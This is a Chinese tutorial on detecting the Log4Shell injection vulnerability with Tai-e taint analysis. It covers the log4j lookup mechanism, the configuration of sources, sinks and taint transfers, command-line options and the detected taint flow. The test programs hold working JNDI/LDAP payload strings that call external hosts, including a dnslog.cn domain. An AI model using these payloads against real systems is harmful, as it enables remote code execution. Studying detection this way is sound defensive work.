Java 污点分析(追踪污点数据流)最令人头疼的两个难点:别名关系和动态反射。
Tai-e 污点分析提出一个基于指针分析的架构,来解决别名分析和反射分析两个问题。
解决方案思路:
日志方法:logger.error(str)
将 ${...} 中的特定字符串映射到相应的值,举例如图所示。
通过 lookup 机制,让 log4j 的记录功能更加强大,跨平台性更强,还可以通过该机制输出环境信息而无需硬编码。
JNDI(Java Naming and Directory Interface):${jndi : ...}
LDAP(Lightweight Directory Access Protocol):${jndi : ldap: ...}
构造恶意 payload:${jndi : ldap://badman.io/Exploit}。
Log4Shell 本质上是个注入漏洞(Injection),可通过污点分析(Taint Analysis)进行检测,该漏洞的入口方法、利用方法如下所示。
Logger.error(...)
⬇️
...
JNDI Lookup
使用太阿提供的测试主程序:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Server {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Server.class);
String input = getInput();
logger.error(input);
}
private static String getInput() {
return "${jndi:ldap://badman.io/Exploit}";
}
}
Sources:标记为用户输入。污点数据来源于 Main 的 getInput() 方法,当系统调用该方法时获得污点数据。
sources:
- {kind: call, method: "", index: result}
Sinks:对应的是 JNDI Lookup,在 log4j 中是调用 InitialContext 的 lookup() 方法来启动 JNDI 的 lookup,所以可以把 Sink 标记为 javax.naming.InitialContext.lookup(String) 。
sinks:
- { method: "", index: 0}
污点分析要做的内容,就是找出 error 到 JNDI Lookup 的一条传播路径。
实践检测 Log4Shell 时遇到的挑战:
使用 IDEA 创建一个 Maven 项目,使用 pom.xml 配置 log4j 2.14.0:
测试程序:编写一个 Java 测试类,动态传入 logger.error(str) 的字符串参数。
package org.example;
import org.apache.logging.log4j.*;
import java.lang.String.*;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
//String poc = "${java:os}";
String poc = getInput();
logger.error(poc);
}
private static String getInput(){
return "${jndi:ldap://9710ck.dnslog.cn}";
}
}
运行测试,确认成功执行 payload:
分析漏洞配置 Tai-e 的步骤:
参考资料:配置污点分析-官方文档。
Tai-e 使用 YAML 配置文件配置源、接收器、污点传输和清理程序,以进行污点分析。
仅对不熟悉的概念进行介绍。
变量表示
设置污点分析时,通常有必要表示 call site 或一个方法的变量。
第一种,调用点的变量,比如 r = o.foo(p, q);
第二种,方法的变量,目前支持通过方法的索引来指定参数,比如 foo 方法的参数 t, s, o 的索引是 0, 1, 2。
package org.example;
class MyClass {
void foo(T t, String s, Object o) {
...
}
}
字段签名
字段签名的目的是在分析的程序中唯一标识字段。 字段签名的格式如下:
例如下面字段的签名info
package org.example;
class MyClass {
String info;
}
其字段签名为:
污点对象根据 sources 生成。在配置文件中,sources 被指定为一个 source entries 的清单,放置在 sources 键后。
Call Sources
最常用的 source 类型是 Call Sources
,适用于污点对象在 call sites 生成的场景,格式如下:
- { kind: call, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }
如果在配置文件中编写 call sources ,当污点分析发现 METHOD_SIGNATURE 在 call site 被调用时,太阿会为调用点的变量创建一个 Type 类型的污点对象。(Type 为可选性质,如果没有指定,应当是生成函数返回类型的污点对象)
提示:可能有人想知道,为什么函数签名中已经包含方法的声明类型,还需要包含 type: Type
字段。
比如下面一段代码,source() 的声明类型是 X,但实际上返回的对象类型是 X 的子类 Y。
class X {...}
class Y extends X { ... }
class Z {
X source() {
...
return new Y();
}
}
理解:污点分析的数据源往往来源于封装的方法,比如 request.getParameter(str)、request.getInputStream()。根据 source 建立的污点对象,即是这些调用点的返回对象,也即是污点分析要追踪的数据流。
Parameter Sources
某些方法(例如入口方法)在程序内没有显式调用点,因此无法在其调用点为变量生成污点对象。 然而,在某些情况下,为其参数生成污点对象可能很有用。 为了满足这一要求,太阿的污点分析提供了配置参数源的功能:
- { kind: param, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }
理解:一般情况下,JavaWeb 污点分析中 source 的 kind 都为 call。
Field Sources
太阿的污点分析还允许用户使用以下格式将字段指定为污点源:
- { kind: field, field: FIELD_SIGNATURE, type: TYPE }
在配置中包含此类源时,如果污点分析发现字段 FIELD_SIGNATURE
已加载到变量 v
中(例如 v = o.f
),它会为生成一个TYPE
的污点对象。
目前太阿支持指定 sink 方法的特定变量作为 sinks。在配置文件中,sinks 被指定为一个 sink entries 的清单放置在 sources 键后。
sinks:
- { method: METHOD_SIGNATURE, index: INDEX }
- ...
当污点分析识别出 call sites 调用了 Method_Signature 和 Index 表示的变量时,太阿将为检测到的污点流生成报告。
比如 new File(name) 根据文件名创建文件对象,设置其为 sinks 得到:
区别于指针分析
这部分好像是追踪数据流的关键,尝试梳理一下思路。
回顾一下《程序分析》的理论课程,主要讲解了 Soundness、中间表示 IR、数据流分析的方向/代码帧的建模和计算、过程间分析、指针分析等等。
通过回顾发现,指针分析的语句场景是 New、Assign、Store、Load、Call 等五种,污点对象基本通过这些语句进行流动,看起来能够满足追踪数据流的需要。
提出疑问:那么我们为什么还需要污点转移?或者说有了指针分析,污点对象的数据流追踪为什么还会中断?
尝试解答:经过查找资料和思考,还是在官网文档中找到了答案。
比如示例代码:
String taint = getSecret(); // source
StringBuilder sb = new StringBuilder();
sb.append("abc");
sb.append(taint); // taint is transferred to sb
sb.append("xyz");
String s = sb.toString(); // taint is transferred to s
leak(s); // sink
调用 sb.append() 语句时,taint 转移到了一个 StringBuilder 对象。调用 sb.toString() 语句时,taint 又从 StringBuilder 对象转移到了 String 对象。
对于这两个方法调用语句,我们需要告诉太阿,污点对象指向了哪个新的对象。比如污点对象流到 java.lang.StringBuilder 的 append(java.lang.String) 语句时,污点对象流向的对象就变成了方法的返回类型,即 java.lang.StringBuilder 对象。
这两条语句的执行,就会为污点对象的 Pointer Flow Graph 添加两个新的节点:java.lang.String --> java.lang.StringBuilder --> java.lang.String。
如此以来,污点对象的数据流追踪/其实就是指针流向图 就可以继续往下分析。
突然意识到,污点对象的数据流追踪其实就是指针流向图,通畅了。
概念和场景
污点转移的概念:
列举五种污点转移的情况,由方法调用 base.foo(a0, a1, ..., an) 引起。
不同的 base、foo 甚至 an 都可能导致不同的污点转移,尝试思考污点转移问题的解决思路:
参考文档:Tai-e 0.5.1 参考文档。
本地环境如下,根据参考文档创建和配置项目。
单独下载太阿的 java-benchmarks 子模块,该存储库包含分析所使用的 Java 库。
太阿的主类是 pascal.taie.Main,其配置项有三类。
程序选项
这些选项指定要分析的 Java 程序(比如P)和库。
由于 Soot 仅部分支持 Java7 版本,建议使用太阿分析字节码,而不是源代码。
类路径(-cp/--class-path),目前支持以下类型的路径
.class
(或 .java
)文件的目录的相对/绝对路径应用程序类路径(-acp/--app-class-path)
主类(-m/--main-class),表示 P 的主类,该类必须声明一个 public static void main(String[]) 的方法
输入类(--input-classes),向 P 的 closed world 添加类。有些Java程序使用动态类加载,因此 Tai-e 无法从主类中引用相关类。可以通过此选项将此类类添加到 closed world
Java版本(-java),指定分析中使用的 Java 库的版本,默认为 6,目前提供 Java 版本 3、4、5、6、7 和 8 的库
前置 JVM 类路径(-pp/--prepend-JVM),将 JVM 的类路径添加到分析类路径
允许引用镜像(-ap/--allow-phantom),允许太阿处理镜像引用,即在类路径中找不到的引用类
分析选项
这些选项决定要执行的分析及其行为,分为两组。
一般分析选项
自定义分析选项
其他选项
帮助:-h/--help
世界缓存模式:-wc/--world-cache-mode
指定输出目录(--output-dir):--output-dir
命令行选项的使用示例
假设我们要分析一个程序P,如下所述:
foo.jar
(JAR 文件)和 my program/dir/bar.class
(类文件)。baz.Main
那么选项将是:
java -jar tai-e-all.jar -cp foo.jar -cp "my program/dir/" -m baz.Main -java 8 -a "pta=cs:2-type;time-limit:60;"
根据视频教程,自己动手用太阿检测 Log4Shell,只需要做两件事。
编辑太阿运行配置,使用 --options-file 指定运行参数:
运行结果查看 output/tai-e.log,可以看到找到一个污点流。
Detected 1 taint flow(s):
TaintFlow{
[12@L8] temp$4 = invokestatic Server.getInput()/result
->
[1@L172] $r3 = invokeinterface $r2.lookup(name)/0}
将污点分析结果 .dot 转换成 svg 文件
dot -Tsvg -o taint-flow-graph.svg taint-flow-graph.dot
dot语言是一种使用代码描述各种图形关系的工具,通常需要安装Graphviz。
brew install graphviz
生成的污点流如图所示: